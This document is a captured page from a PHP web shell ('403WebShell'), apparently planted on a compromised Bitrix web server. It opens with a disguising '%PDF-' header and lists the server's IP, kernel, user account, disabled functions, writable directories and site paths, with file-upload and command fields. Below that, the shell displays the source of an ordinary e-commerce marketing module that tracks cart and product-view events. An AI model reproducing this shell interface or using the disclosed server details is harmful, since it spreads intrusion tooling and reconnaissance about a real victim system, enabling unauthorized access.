%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.190.253.88
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/carrotquest.marketing/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/carrotquest.marketing/lib/carroteventsbasket.php
<?php

namespace CarrotQuest\Marketing;

use Bitrix\Main\Application;
use Bitrix\Main\Loader;
use Bitrix\Main\Config\Option;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\ModuleManager;
use Bitrix\Main\EventManager;
use Bitrix\Sale;
use Bitrix\Sale\Compatible\BasketCompatibility;
use Bitrix\Sale\Compatible\OrderCompatibility;
use Bitrix\Catalog;
use Bitrix\Main\EventResult;
use Bitrix\Main\Event;


/*
NOTE from user: please, tell your developers, they might be interested, I send "true" as second param
 when CCatalogProduct::GetByIDEx is called, to get all values of multiple prop,
other way it just returns the last one from the list

NOTE from dev: Not sure if it suits us. We actually trying to access and pass on info on current product
*/

class CarrotEventsBasket extends CarrotEvents
{

	/**
	 * Users visited there cart
	 */
	public static function VisitedBasket()
	{
		if ( !\CModule::IncludeModule( 'sale' ) or !\CModule::IncludeModule( 'catalog' ) or !self::WatchSite() ) return;
		$userId = $_COOKIE['carrotquest_uid'];
		if ( defined( 'CARROTQUEST_API_KEY' ) && defined( 'CARROTQUEST_API_SECRET' ) && '' != $userId ) {
			$dbBasketItems = \CSaleBasket::GetList(
				array(
					'NAME' => 'ASC',
					'ID'   => 'ASC',
				),
				array(
					'FUSER_ID' => \CSaleBasket::GetBasketUserID(),
					'LID'      => SITE_ID,
					'ORDER_ID' => 'NULL',
				),
				false,
				false,
				array()
			);

			$opArrItem[] = array(
				'op'    => 'delete',
				'key'   => '$cart_items',
				'value' => "0",
			);

			$i = 0;

			while ( $bItem = $dbBasketItems->Fetch() ) {

				$itemPic  = "";
				$prodItem = \CCatalogProduct::GetByIDEx( $bItem['PRODUCT_ID'] );

				if ( isset( $prodItem['DETAIL_PICTURE'] ) && $prodItem['DETAIL_PICTURE'] ) {

					if ( trim( \CFile::GetPath( $prodItem['DETAIL_PICTURE'] ) ) != "" ) {

						$itemPic = self::getImageUrl( \CFile::GetPath( $prodItem['DETAIL_PICTURE'] ) );

					}

				} else if ( isset( $prodItem['PREVIEW_PICTURE'] ) && $prodItem['PREVIEW_PICTURE'] ) {

					if ( trim( \CFile::GetPath( $prodItem['PREVIEW_PICTURE'] ) ) ) {
						$itemPic = self::getImageUrl( \CFile::GetPath( $prodItem['PREVIEW_PICTURE'] ) );
					}

				}

				if ( strlen( $itemPic ) <= 0 ) {
					if ( isset( $prodItem['PROPERTIES'] ) && $prodItem['PROPERTIES'] ) {

						if ( isset( $prodItem['PROPERTIES']['CML2_LINK'] ) && $prodItem['PROPERTIES']['CML2_LINK'] ) {

							$cartItem = \CCatalogProduct::GetByIDEx( $prodItem['PROPERTIES']['CML2_LINK']['VALUE'] );

							if ( isset( $cartItem['DETAIL_PICTURE'] ) && $cartItem['DETAIL_PICTURE'] ) {

								if ( trim( \CFile::GetPath( $cartItem['DETAIL_PICTURE'] ) ) ) {
									$itemPic = self::getImageUrl( \CFile::GetPath( $cartItem['DETAIL_PICTURE'] ) );
								}

							} else if ( isset( $cartItem['PREVIEW_PICTURE'] ) && $cartItem['PREVIEW_PICTURE'] ) {

								if ( trim( \CFile::GetPath( $cartItem['PREVIEW_PICTURE'] ) ) ) {
									$itemPic = self::getImageUrl( \CFile::GetPath( $cartItem['PREVIEW_PICTURE'] ) );
								}
							}
						}
					}
				}

				$strItem              = $bItem["NAME"];
				$arrItem['$name'][]   = $bItem["NAME"];
				$arrItem['$amount'][] = round( floatval( $bItem["PRICE"] ) ) * $bItem["QUANTITY"];
				$arrItem['$url'][]    = self::getImageUrl( $bItem["DETAIL_PAGE_URL"] );
				$arrItem['$img'][]    = $itemPic ?? '<Нет изображения>';

				if ( $strItem ) {
					$opArrItem[] = array(
						"op"    => "append",
						"key"   => '$cart_items',
						"value" => $strItem,
					);
				}
				$i++;

			}
			$cart = $arrItem;
			if ( !$cart || !( isset( $cart['$name'] ) && $cart['$name'] ) ) {
				$cart = array();
			}

			CarrotEvents::SendEvent( $userId, '$cart_viewed', $cart );
			CarrotEvents::SendOperations( $userId, $opArrItem );
			self::BusketSumm( $userId );

		}
	}

	/**
	 * Users added item to there cart (wrap-up for the current cart total and added item handlers)
	 * D7 event
	 *
	 * @param Event $event
	 * @return EventResult
	 */
	public static function newOnBasketAdd( Event $event )
	{
		$item      = $event->getParameter( 'ENTITY' );
		$oldValues = $event->getParameter( 'VALUES' );

		$needsCheck      = array_key_exists( "ID", $oldValues ) || array_key_exists( "QUANTITY", $oldValues );
		$oldItemId       = $oldValues["ID"];
		$oldItemQuantity = $oldValues["QUANTITY"];

		if ( self::WatchLegacyEvents() || !$needsCheck || !self::WatchSite( $item->getField( 'LID' ) ) ) {
			return new EventResult( EventResult::SUCCESS );
		}
		try {
			$carrotquest_uid = $_COOKIE['carrotquest_uid'];
			if ( defined( 'CARROTQUEST_API_KEY' )
				&& defined( 'CARROTQUEST_API_SECRET' )
				&& isset( $item )
				&& '' !== $carrotquest_uid
				&& ( !isset( $oldItemId ) || isset( $oldItemQuantity ) && intval( $oldItemQuantity ) > $item->getQuantity() )
			) {
				self::AddItem( $item->getFields()->getValues(), $carrotquest_uid );
				self::BusketSumm( $carrotquest_uid, $item->getFields()->getValues() );
			}
		} catch ( \Exception $e ) {
			self::WriteLog( 'Error', $e->getMessage() );
		}

		return new EventResult( EventResult::SUCCESS );
	}

	/**
	 * Users added item to there cart (wrap-up for the current cart total and added item handlers)
	 *
	 * @param string|integer $id
	 * @param array $item
	 * @return EventResult
	 */
	public static function onBasketAdd( $id, $item )
	{
		if ( !self::WatchLegacyEvents() ) {
			return new EventResult( EventResult::SUCCESS );
		}
		try {
			$carrotquest_uid = $_COOKIE['carrotquest_uid'];
			if ( defined( 'CARROTQUEST_API_KEY' ) && defined( 'CARROTQUEST_API_SECRET' )
				&& $item != null
				&& '' != $carrotquest_uid
				&& self::WatchSite( $item['LID'] )
			) {
				self::AddItem( $item, $carrotquest_uid );
				self::BusketSumm( $carrotquest_uid, $item );
			}
		} catch ( \Exception $e ) {
			self::WriteLog( 'Error', $e->getMessage() );
		}

		return new EventResult( EventResult::SUCCESS );
	}

	/**
	 * Iem added to the cart (item info handler)
	 *
	 * @param array $item
	 * @param string|integer $carrotquestUID
	 */
	private static function AddItem( $item, $carrotquestUID )
	{
		if ( !\CModule::IncludeModule( "catalog" ) ) return;
		$HTTP    = $_SERVER['HTTPS'] ? "https://" : "http://";
		$arrItem = array(
			'$name'   => $item["NAME"],
			'$amount' => round( floatval( $item["PRICE"] ) ),
			'$url'    => $HTTP . $_SERVER['SERVER_NAME'] . $item["DETAIL_PAGE_URL"],
		);

		$prodItem = \CCatalogProduct::GetByIDEx( $item["PRODUCT_ID"] );
		if ( isset( $prodItem["DETAIL_PICTURE"] ) && $prodItem["DETAIL_PICTURE"] ) {
			$detailPicPath = trim( \CFile::GetPath( $prodItem["DETAIL_PICTURE"] ) );
			if ( $detailPicPath ) {
				$itemPic = self::getImageUrl( $detailPicPath );
			}
		} else if ( isset( $prodItem["PREVIEW_PICTURE"] ) && $prodItem["PREVIEW_PICTURE"] ) {
			$previewPicPath = trim( \CFile::GetPath( $prodItem["PREVIEW_PICTURE"] ) );
			if ( $previewPicPath ) {
				$itemPic = self::getImageUrl( $previewPicPath );
			}
		}

		if ( !( isset( $itemPic ) && $itemPic ) ) {
			if ( isset( $prodItem["PROPERTIES"] ) && $prodItem["PROPERTIES"] ) {
				if ( isset( $prodItem["PROPERTIES"]["CML2_LINK"] ) && $prodItem["PROPERTIES"]["CML2_LINK"] ) {
					$cartItem = \CCatalogProduct::GetByIDEx( $prodItem["PROPERTIES"]["CML2_LINK"]["VALUE"] );
					if ( isset( $cartItem["DETAIL_PICTURE"] ) && $cartItem["DETAIL_PICTURE"]) {
						$detailPicPath = trim( \CFile::GetPath( $cartItem["DETAIL_PICTURE"] ) );
						if ( $detailPicPath ) {
							$itemPic = self::getImageUrl( $detailPicPath );
						}
					} else if ( isset( $cartItem["PREVIEW_PICTURE"] ) && $cartItem["PREVIEW_PICTURE"]  ) {
						$previewPicPath = trim( \CFile::GetPath( $cartItem["PREVIEW_PICTURE"] ) );
						if ( $previewPicPath ) {
							$itemPic = self::getImageUrl( $previewPicPath );
						}
					}
				}
			}
		}
		if ( isset( $itemPic ) && $itemPic ) {
			$arrItem['$img'] = $itemPic;
		}
		CarrotEvents::SendEvent( $carrotquestUID, '$cart_added', $arrItem );
	}

	/**
	 * Cart total handler
	 *
	 * @param string|integer $carrotquest_uid
	 * @param array|null $item
	 */
	private static function BusketSumm( $carrotquest_uid, $item = null )
	{
		if ( !\CModule::IncludeModule( 'sale' ) ) return;
		$dbBasketItems = \CSaleBasket::GetList(
			array(
				'NAME' => 'ASC',
				'ID'   => 'ASC',
			),
			array(
				'FUSER_ID' => \CSaleBasket::GetBasketUserID(),
				'LID'      => SITE_ID,
				'ORDER_ID' => 'NULL',
			),
			false,
			false,
			array()
		);

		$basketSumm = 0;

		while ( $bItem = $dbBasketItems->Fetch() ) {
			if ( $item == null || $item['PRODUCT_ID'] != $bItem['PRODUCT_ID'] ) {
				$basketSumm += (float)$bItem['PRICE'] * (float)$bItem['QUANTITY'];
			}
		}
		if ( $item != null ) {
			$basketSumm += (float)$item['PRICE'] * (float)$item['QUANTITY'];
		}
		if ( $basketSumm ) {
			$arrItem[] = array(
				'op'    => 'update_or_create',
				'key'   => '$cart_amount',
				'value' => round( $basketSumm ),
			);
		} else {
			$arrItem[] = array(
				'op'    => 'delete',
				'key'   => '$cart_amount',
				'value' => 0,
			);
		}

		CarrotEvents::SendOperations( $carrotquest_uid, $arrItem );
	}

	/**
	 * Product viewed (D7 core's event on repeated views)
	 *
	 * @param array $arFields
	 */
	public static function onProductViewedUpdate( $arFields )
	{
		if ( !self::WatchLegacyEvents() ) {
			try {
				$ID         = intval( $arFields['ID'] );
				$viewedProd = \Bitrix\Catalog\CatalogViewedProductTable::getRowById( $ID );
			} catch ( \Exception $e ) {
				self::WriteLog( "Error", $e->getMessage() );
			}
			if ( isset( $viewedProd )
				&& array_key_exists( 'PRODUCT_ID', $viewedProd ) ) {
				self::catalogOnBeforeViewed( $viewedProd );
			}
		}
	}

	/**
	 * Product viewed (D7 core's event on first view)
	 *
	 * @param array $arResult
	 */
	public static function onProductViewedAdd( $viewedProd )
	{
		if ( !self::WatchLegacyEvents() ) {
			self::catalogOnBeforeViewed( $viewedProd );
		}

	}

	/**
	 * Product viewed (legacy event)
	 *
	 * @param array $arResult
	 */
	public static function onBeforeViewedAdd( $viewedProd )
	{
		if ( self::WatchLegacyEvents() ) {
			self::catalogOnBeforeViewed( $viewedProd );
		}
	}

	/**
	 * Product viewed (common handler for all view events, runs only once per actual view)
	 *
	 * @param array $arResult
	 */
	private static function catalogOnBeforeViewed( $arResult )
	{
		if ( !\CModule::IncludeModule( 'catalog' ) || !self::WatchSite( $arResult['LID'] ) ) return;
		$HTTP   = $_SERVER['HTTPS'] ? 'https://' : 'http://';
		$userId = $_COOKIE['carrotquest_uid'];

		$arProduct = \CCatalogProduct::GetByIDEx( $arResult['PRODUCT_ID'] );
		if ( $arProduct ) {
			$arrItem = array(
				'$name' => $arProduct['NAME'],
				'$url'  => $HTTP . $_SERVER['SERVER_NAME'] . $arProduct['DETAIL_PAGE_URL'],
			);


			if ( isset( $arProduct['DETAIL_PICTURE'] ) && $arProduct['DETAIL_PICTURE'] ) {
				$img = \CFile::GetPath( $arProduct['DETAIL_PICTURE'] );
			} else if ( isset( $arProduct['PREVIEW_PICTURE'] ) && $arProduct['PREVIEW_PICTURE'] ) {
				$img = \CFile::GetPath( $arProduct['PREVIEW_PICTURE'] );
			}
			if ( !( isset( $img ) && $img ) ) {
				if ( isset( $arProduct['PROPERTIES'] ) && $arProduct['PROPERTIES'] ) {
					if ( isset( $arProduct['PROPERTIES']['CML2_LINK'] ) && $arProduct['PROPERTIES']['CML2_LINK'] ) {
						$prodItem = \CCatalogProduct::GetByIDEx( $arProduct['PROPERTIES']['CML2_LINK']['VALUE'] );
						if ( isset( $prodItem['DETAIL_PICTURE'] ) && $prodItem['DETAIL_PICTURE']) {
							$detailPicPath = trim( \CFile::GetPath( $prodItem['DETAIL_PICTURE'] ) );
							if ( $detailPicPath ) {
								$img = self::getImageUrl( $detailPicPath );
							}
						} else if ( isset( $prodItem['PREVIEW_PICTURE'] ) && $prodItem['PREVIEW_PICTURE'] ) {
							$previewPicPath = trim( \CFile::GetPath( $prodItem['PREVIEW_PICTURE'] ) );
							if ( $previewPicPath ) {
								$img = self::getImageUrl( $previewPicPath );
							}
						}
					}
				}
			}

			if ( isset( $img ) && trim( $img ) )
				$arrItem['$img'] = self::getImageUrl( $img );

			CarrotEvents::SendEvent( $userId, '$product_viewed', $arrItem );

			$opArrItems[] = array(
				'op'    => 'union',
				'key'   => '$viewed_products',
				'value' => $arProduct['NAME'],
			);
			CarrotEvents::SendOperations( $userId, $opArrItems );
		}
	}

	/**
	 * Refines image link from given url
	 *
	 * @param string $url
	 * @return string
	 */
	private static function getImageUrl( $url )
	{
		if ( self::startsWith( $url, "https://" ) or self::startsWith( $url, "http://" ) ) {
			return $url;
		} else {
			$HTTP = $_SERVER['HTTPS'] ? "https://" : "http://";
			return $HTTP . $_SERVER['SERVER_NAME'] . $url;
		}
	}

	/**
	 * Check if string starts with given substring
	 *
	 * @param $haystack
	 * @param $needle
	 * @return bool
	 */
	private static function startsWith( $haystack, $needle )
	{
		$length = strlen( $needle );
		return ( substr( $haystack, 0, $length ) === $needle );
	}


}

Youez - 2016 - github.com/yon3zu
LinuXploit